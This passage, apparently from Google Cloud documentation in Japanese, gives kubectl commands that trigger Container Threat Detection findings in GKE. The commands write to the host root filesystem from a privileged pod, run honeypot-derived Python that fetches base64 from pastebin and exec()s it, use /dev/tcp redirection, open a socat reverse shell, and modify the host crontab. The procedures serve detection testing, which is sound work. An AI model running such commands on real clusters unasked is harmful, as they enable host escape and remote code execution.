Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTコンテナからホストに証明書ファイルをインストールします。
x86 ノード:
tag="ktd-test-cert-install-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'ARM ノード:
tag="ktd-test-cert-install-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" }] }}'Container Threat Detection のロギングを構成している場合、このテスト手順により「ルート証明書インストール済み」の検出結果がトリガーされます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、組織レベルで Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: 追加された悪意のあるバイナリの実行
「実行: 追加された悪意のあるバイナリが実行された」の検出結果をトリガーするには、コンテナに悪意のあるバイナリをドロップして実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイし、シミュレートされた悪意のあるファイルを作成して実行します。シミュレートされた悪意のあるバイナリが元のコンテナ イメージの一部ではなく、このバイナリが EICAR テストファイルであり、脅威インテリジェンスから悪意のあるものとして分類されたファイルであるため、このバイナリの実行は想定外です。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTEICAR バイナリをドロップして実行します。
x86 ノード:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"ARM ノード:
tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c \ "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
Container Threat Detection のロギングを構成している場合は、このテスト手順により、「実行: 追加された悪意のあるバイナリが実行された」の検出結果が作成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
ノイズを軽減するため、コンテナを初めて作成する際に、「追加されたバイナリの実行」の検出結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中に追加されたすべての「実行: 追加された悪意のあるバイナリが実行された」の検出結果を表示するには、例のようにコンテナ名または Pod 名の前に ktd-test を付けます。
実行: コンテナ エスケープ
「実行: コンテナ エスケープ」の検出結果をトリガーするには、コンテナにバイナリを配置して実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイします。/bin/ls を別の場所にコピーして、疑わしいツール(botb-linux-amd64)の名前に変更し、追加の引数を指定して実行します。この実行は、コンテナ エスケープの試みと一致する動作をシミュレートするため、不審と見なされます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTbotb-linux-amd64などのコンテナ エクスプロイト ツール バイナリをドロップして実行します。x86 ノード:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"ARM ノード:
tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
Container Threat Detection のロギングを構成している場合は、このテスト手順により「実行: 追加されたバイナリの読み込み」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: /memfd: でのファイルレス実行
Execution: Fileless Execution in /memfd: 検出結果をトリガーするには、/memfd: インメモリ ファイル システムからプロセスを実行する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls ユーティリティを、/memfd: の匿名ファイルにコピーします。コピーしたバイナリを実行します。/memfd: でのバイナリの実行は、ファイルベースの検出を回避するためにメモリ内で実行しようとするオブジェクトの動作を模倣しているため、不審なものとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT特権コンテナを作成し、bash を開いてコマンドを実行します。
x86 ノード:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:latest \ "$tag" -- python -c "import os,sys,time time.sleep(10) f = open('/bin/ls','rb') execdata = f.read() f.close() fd = os.memfd_create('', 0) fname = '/proc/self/fd/{}'.format(fd) f = open(fname,'wb') f.write(execdata) f.close() args = ['/bin'] os.execve(fname, args, os.environ)"ARM ノード:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:3-buster \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- python -c "import os,sys,time time.sleep(10) f = open('/bin/ls','rb') execdata = f.read() f.close() fd = os.memfd_create('', 0) fname = '/proc/self/fd/{}'.format(fd) f = open(fname,'wb') f.write(execdata) f.close() args = ['/bin'] os.execve(fname, args, os.environ)"
Container Threat Detection のロギングを構成している場合、このテスト手順により Execution: Fileless Execution in /memfd: の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: Ingress Nightmare 脆弱性の実行
「実行: Ingress Nightmare 脆弱性の実行」(プレビュー)の検出結果をトリガーするには、コンテナで nginx バイナリを実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイします。/bin/ls を別の場所にコピーして Nginx バイナリ(nginx)に名前を変更し、/proc ファイル システムを参照する追加の引数を指定して実行します。このアクションは、Ingress Nightmare エクスプロイト(CVE-2025-1974)と一致する動作をシミュレートし、リモートでコードが実行される可能性があることを示しているため、不審な動作と見なされます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTnginxなどの Nginx バイナリを作成し、/procファイル システムにアクセスしながら実行します。x86 ノード:
tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"ARM ノード:
tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
Container Threat Detection のロギングを構成している場合、このテスト手順により「実行: Ingress Nightmare の脆弱性の実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: Kubernetes 攻撃ツールの実行
「実行: Kubernetes 攻撃ツールの実行」の検出結果をトリガーするには、コンテナにバイナリを配置して実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイします。/bin/ls を別の場所にコピーして、疑わしいツール(amicontained)の名前を変更して実行します。このアクションは、Kubernetes 攻撃ツールの実行試行と一致する動作をシミュレートするため、不審な動作と見なされます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTamicontainedなどの Kubernetes 攻撃ツールバイナリをドロップして実行します。x86 ノード:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"ARM ノード:
tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
Container Threat Detection のロギングを構成している場合は、このテスト手順により、「実行: Kubernetes 攻撃ツールの実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: ローカル偵察ツールの実行
Execution: Local Reconnaissance Tool Execution の検出結果をトリガーするには、コンテナにバイナリを配置して実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイします。/bin/ls を別の場所にコピーして、疑わしいツール(linenum.sh)の名前を変更して実行します。名前を変更したバイナリを実行すると、ローカル偵察の試みと一致する動作がシミュレートされるため、このアクションは不審な動作と見なされます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTlinenum.shなどのローカル偵察ツールバイナリを導入して実行します。x86 ノード:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"ARM ノード:
tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
Container Threat Detection のロギングを構成している場合、このテスト手順により、「実行: ローカル偵察ツールの実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: 悪意のある Python の実行
「実行: 悪意のある Python の実行」の検出結果をトリガーするには、次の手順に沿ってコンテナ内で Python を実行します。
この手順では、最新の Python イメージをデプロイし、悪意がある可能性のある Python コードをコピーして実行します。検出結果をトリガーするには、Python コードが検出機能によって悪意のあるものと見なされる必要があります。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT新しいコンテナで次のスクリプトを実行します。
この Python コードは honeypot から取得されたものです。ただし、悪意のあるバイナリを実行しないように変更されています。スクリプトを実行しても、コンテナ内で悪意のあるアクティビティは発生しません。参照された URL のバイナリが存在せず、その URL をたどろうとすると 404 エラーが発生します。これは想定された動作です。インライン スクリプトを使用してバイナリのダウンロード、デコード、実行を試行すると、検出結果がトリガーされます。
x86 ノード:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/python:latest \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"ARM ノード:
tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image python:3-buster \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- python -c "import urllib import base64 import os url = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' f = os.popen(str(page)) url = 'https://pastebin.com/raw/Z' d = 'https://pastebin.com/raw/Z' page = base64.b64decode(urllib.urlopen(url).read()) page = '' exec(page)"
Container Threat Detection のロギングを構成している場合、このテスト手順により「実行: 悪意のある Python の実行」の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: 変更された悪意のあるバイナリの実行
「実行: 変更された悪意のあるバイナリが実行された」の検出結果をトリガーするには、コンテナ内の悪意のあるバイナリを変更して実行します。この例では、最新の Ubuntu 24.04 イメージをデプロイし、/bin/ls を悪意のあるファイルをテストする EICAR として変更してから実行します。作成された /bin/ls がコンテナの実行時に悪意のあるバイナリをテストする EICAR として変更され、EICAR バイナリは脅威インテリジェンスに従って既知の悪意のあるファイルであるため、このバイナリの実行は想定外です。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTEICAR バイナリをドロップして実行します。
x86 ノード:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"ARM ノード:
tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
Container Threat Detection のロギングを構成している場合は、このテスト手順により、「実行: 変更された悪意のあるバイナリが実行された」の検出結果が作成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
ノイズを軽減するため、コンテナを初めて作成する際に「実行: 変更された悪意のあるバイナリの実行」の検出結果が Container Threat Detection によって一時的にフィルタリングされます。コンテナの設定中に「実行: 変更された悪意のあるバイナリの実行」の検出結果をすべて表示するには、例のようにコンテナ名または Pod 名の前に ktd-test を付けます。
実行: コンテナでの Netcat リモートコードの実行
Execution: Netcat Remote Code Execution In Container イベントをトリガーするには、ネットワーク通信が可能なバイナリ(netcat 自体、または別のユーティリティの名前変更されたコピーなど)がコンテナ内に存在し、実行されている必要があります。この例では、最新の Ubuntu 24.04 イメージをベースとしてデプロイします。/bin/ls バイナリをコピーし、そのコピーの名前を netcat(ネットワーク ユーティリティ)に変更します。名前を変更したバイナリを、ネットワーク インタラクションに適した引数を使用して実行します。このアクティビティは、コンテナ化された環境内で実際のリモートコード実行の試行中に頻繁に観察される動作を模倣しているため、不審なアクティビティとしてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTnetcatなどのネットワーク通信ツールのバイナリを導入し、適切な引数を指定して実行します。x86 ノード:
tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"ARM ノード:
tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
Container Threat Detection のロギングを構成している場合、このテスト手順により Execution: Netcat Remote Code Execution In
Container の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: CUPS を介した任意のコマンド実行の可能性(CVE-2024-47177)
Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177) 検出結果をトリガーするには、foomatic-rip によるシェルプロセスの実行が行われる必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/bash を /tmp/foomatic-rip にコピーします。名前を変更してコピーしたバイナリは、シェル スクリプトとして実行され、子シェルコマンドが作成されます。この動作は、侵害されたシステムで任意のワークロードを実行しようとしている可能性があるため、不審な動作としてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT適切な引数を指定してコマンドを実行します。
x86 ノード:
tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu1804:latest \ "$tag" -- bash -c \ 'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'ARM ノード:
tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ 'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'
Container Threat Detection のロギングを構成している場合、このテスト手順により Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177) の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: リモート コマンド実行の可能性の検出
Execution: Possible Remote Command Execution Detected(プレビュー)の検出結果をトリガーするには、リモート コマンド実行に通常関連付けられているコマンドまたはバイナリの実行がコンテナ内で確認される必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls をコピーして touch(または find などの別のツール)に名前を変更します。名前を変更したバイナリを、リモート コマンド実行に適した引数で実行します。この動作は、コンテナへの不正なリモート アクセスを確立しようとしている可能性があるため、不審な動作としてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECT適切な引数を指定して
touchなどのバイナリを実行します。x86 ノード:
tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"ARM ノード:
tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
Container Threat Detection のロギングを構成している場合、このテスト手順により Execution: Possible Remote Command
Execution Detected の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: 許可されていない HTTP プロキシ環境でのプログラムの実行
Execution: Program Run with Disallowed HTTP Proxy Env の検出結果をトリガーするには、コンテナ内でプログラムを実行し、HTTP プロキシ環境変数を許可されていない値に設定します。この例では、最新の Ubuntu 24.04 イメージを使用します。/bin/ls ユーティリティをコピーし、名前を /tmp/curl に変更します。名前を変更したバイナリは、HTTP プロキシ環境変数(HTTP_PROXY、http_proxy など)に許可されていない値が設定された状態で実行されます。プログラムの実行と許可されていない HTTP プロキシ環境の存在の組み合わせは、不正なプロキシを介して通信を試みていることを示唆しているため、不審な動作としてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTcurlなどのネットワーク対応バイナリを実行し、許可されていない HTTP プロキシ環境変数を使用して実行します。x86 ノード:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"ARM ノード:
tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -i \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash -c \ "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
Container Threat Detection のロギングを構成している場合、このテスト手順により Execution: Program Run with Disallowed
HTTP Proxy Env の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: 検出された Socat リバースシェル
Execution: Socat Reverse Shell Detected の検出結果をトリガーするには、socat ユーティリティによってプロセス リバースシェル接続を確立する必要があります。この例では、最新の Ubuntu 24.04 イメージを使用します。socat ユーティリティがインストールされ、ローカル tcp リスナーが作成されて socat ユーティリティによってバインドされます。socat によって作成されたリバースシェルは、攻撃者がシステムで任意のワークロードを実行できるため、不審な動作としてフラグが設定されます。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTコンテナを作成し、bash を開いてコマンドを実行します。
x86 ノード:
tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -it \ --image marketplace.gcr.io/google/ubuntu2404:latest \ "$tag" -- bashARM ノード:
tag="ktd-test-fileless-dev-shm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never \ --rm=true -it \ --image marketplace.gcr.io/google/ubuntu2404:latest \ --overrides='{"apiVersion": "v1", "spec": { "containers": [{"name": "ktd-test-fileless-dev-shm", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "tty":true, "stdin":true}], "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect": "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal", "value": "arm64" } ]}}' \ "$tag" -- bash
socatユーティリティをインストールします。apt update && apt install socat -ysocatを使用してリスナーを作成します。(socat UNIX-LISTEN:/tmp/shell.sock STDOUT &)リスナーが確立されるまで待ちます。これには 10 秒もかかりません。
unix ソケットにバインドして、リバースシェル接続を確立します。
socat UNIX-CONNECT:/tmp/shell.sock EXEC:/bin/bash,pty,stderr,setsid,sigint,saneエラーが返されることがありますが、事前に接続が確立されていれば問題ありません。
Container Threat Detection のロギングを構成している場合、このテスト手順により Execution: Socat Reverse Shell Detected の検出結果が生成されます。これは、Security Command Center と Cloud Logging で確認できます。Cloud Logging で検出結果を表示するには、Security Command Center のプレミアム ティアまたはエンタープライズ ティアを有効にする必要があります。
実行: 不審な cron の変更(プレビュー)
不審な cron の変更の検出をトリガーするには、コンテナからホストの /etc/crontab ファイルを変更します。この例では、最新の Ubuntu 24.04 イメージをデプロイし、ホストのルート ファイル システムをコンテナにマウントします。次に、crontab ファイルを更新します。
これはファイル モニタリングの検出機能であり、特定の GKE バージョンの要件があります。
Cloud Shell を使用してクラスタ コントロール プレーンにアクセスします。
gcloud container clusters get-credentials $CLUSTER_NAME \ --zone $ZONE \ --project $PROJECTコマンドを実行して、ホストの
/etc/crontabファイルを変更します。x86 ノード:
tag="ktd-test-cron-mod-$(date -u +%Y-%m-%d-%H-%M-%S-utc)" kubectl run \ --restart=Never --rm=true -ti --image ubuntu "$tag"\ --overrides='{"apiVersion": "v1", "spec": { "containers":[{"command": ["sh", "-c", "/bin/echo >> /host/etc/crontab"], "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest", "securityContext": {"privileged": true}, "volumeMounts":[{"mountPath": "/host/", "name": "host-mount", "readOnly": false}]}], "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'ARM ノード:
